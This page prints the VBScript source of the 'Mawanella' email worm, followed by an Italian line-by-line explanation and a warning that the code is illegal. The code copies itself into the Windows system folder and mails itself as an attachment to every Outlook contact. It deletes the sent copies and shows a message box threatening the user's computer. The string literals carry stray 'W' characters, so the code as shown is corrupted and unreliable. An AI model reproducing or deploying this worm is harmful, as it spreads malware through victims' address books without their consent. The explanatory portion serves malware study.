

MAWANELLA WORM

SOURCE CODE

```
On Error Resume Next
Rem // I hate Mawanella incident
Set WW_S = CreateObject(W"WWScript.ShellW")
Set fso = CreateObject(W"Scripting.FileSystemObjectW")
set file = fso.OpenTextFile(WWScript.ScriptFullName,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(W"WWScript.ShellW")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsysteem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WWScript.ScriptFullName)
cFile.Copy(dirsysteem&W"\Mawanella.vbsW")

Set OutlookA = CreateObject(W"Outlook.ApplicationW")
If OutlookA = W"OutlookW" Then
Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = W"MawanellaW"
MailX.Body = vbCrLf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbCrLf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsysteem & W"\Mawanella.vbsW"
'Mailx.Attachments.Add(dirsysteem & W"\Mawanella.vbsW")
Mailx.Attachments.Add(dirsysteem & W"\Mawanella.vbsW")
MailX.DeleteAfterSubmit = True
If MailX.To <> W"W" Then
MailX.Send
End If
Next
End If
Next
Else
msgBox W"Please Forward this to everyoneW"
```

```

End if
strMsg= W" ) (W" & vbCrLf
strMsg= strMsg & W"( ) ( ) W" & vbCrLf
strMsg= strMsg & W" ( ) ( )W" & vbCrLf
strMsg= strMsg & W" ( ) ( )W" & vbCrLf
strMsg= strMsg & W" -----W" & vbCrLf
strMsg= strMsg & W" / ( ( /W" & vbCrLf
strMsg= strMsg & W" / ( /W" & vbCrLf
strMsg= strMsg & W" / ( /W" & vbCrLf
strMsg= strMsg & W" -----W" & vbCrLf
strMsg= strMsg & W" | --- |W" & vbCrLf
strMsg= strMsg & W" | ---- | |W" & vbCrLf
strMsg= strMsg & W" | | --- |W" & vbCrLf
strMsg= strMsg & W" | | |W" & vbCrLf
strMsg= strMsg & W" -----W" & vbCrLf
strMsg= strMsg & W"Mawanella is one of the Sri Lanka's Muslim Village.W" & vbCrLf
strMsg= strMsg & W"This brutal incident happened here 2 Muslim Mosques & 100
Shops are burnt.W" &
vbCrLf
strMsg= strMsg & W"I hat this incident, WWhat about you? I can destroy your
computerW" & vbCrLf
strMsg= strMsg & W"I didn't do that because I am a peace-loving citizen.W"
msgbox strMsg,,W"MawanellaW"

```

Il codice fornito è un esempio di malware **VBS (Visual Basic Script)** che è stato progettato per eseguire azioni dannose sul computer infetto.

Il malware sembra essere denominato "**MAWANELLA WORM**" ed è destinato a diffondersi attraverso l'invio di email tramite Outlook e ad aprire una finestra di messaggio sul computer dell'utente. Ecco una spiegazione delle sue funzionalità principali:

1. ****On Error Resume Next****: Questa istruzione indica che il codice deve continuare a eseguire le istruzioni successive anche se si verificano errori durante l'esecuzione.
2. ****Set WW_S = CreateObject("WScript.Shell")****: Qui viene creato un oggetto "Shell" che può essere utilizzato per eseguire comandi del sistema operativo.
3. ****Set fso = CreateObject("Scripting.FileSystemObject")****: Viene creato un oggetto "FileSystemObject" che consente al malware di interagire con il file system del computer.
4. ****set file = fso.OpenTextFile(WScript.ScriptFullName, 1)****: Il malware apre il proprio script come file di testo per leggere il suo contenuto.
5. ****vbscopy = file.ReadAll****: Il contenuto dello script viene letto e memorizzato nella variabile `vbscopy`.
6. ****main()****: Viene chiamata la funzione `main()`.

7. ****sub main()****: La funzione ``main()`` viene definita. All'interno di questa funzione, il malware compie le seguenti azioni:

- Copia se stesso nella cartella di sistema del computer come "Mawanella.vbs".
- Verifica se Outlook è installato sul computer e, se lo è, crea un oggetto Outlook e invia un'email a tutti i contatti in Outlook con il soggetto "Mawanella" e un messaggio specifico.
- Se Outlook non è installato, mostra una finestra di messaggio con il testo "Please Forward this to everyone", invitando l'utente a inoltrare il malware ad altri.

8. **Viene costruita una variabile ``strMsg``** che sembra contenere un messaggio di testo ASCII art.

9. **Alla fine**, viene mostrata una finestra di messaggio con il contenuto della variabile ``strMsg``.

In sintesi, questo malware è progettato per diffondersi inviando email a tutti i contatti di Outlook dell'utente e mostrando un messaggio di testo ASCII art.

È importante notare che questo è un esempio di malware dannoso e illegale. La sua distribuzione e l'esecuzione sono vietate e possono causare gravi danni ai computer e violazioni della privacy delle persone.

È importante essere consapevoli dei rischi associati a tali attività e proteggere i propri sistemi da malware utilizzando software antivirus e pratiche di sicurezza informatica adeguate.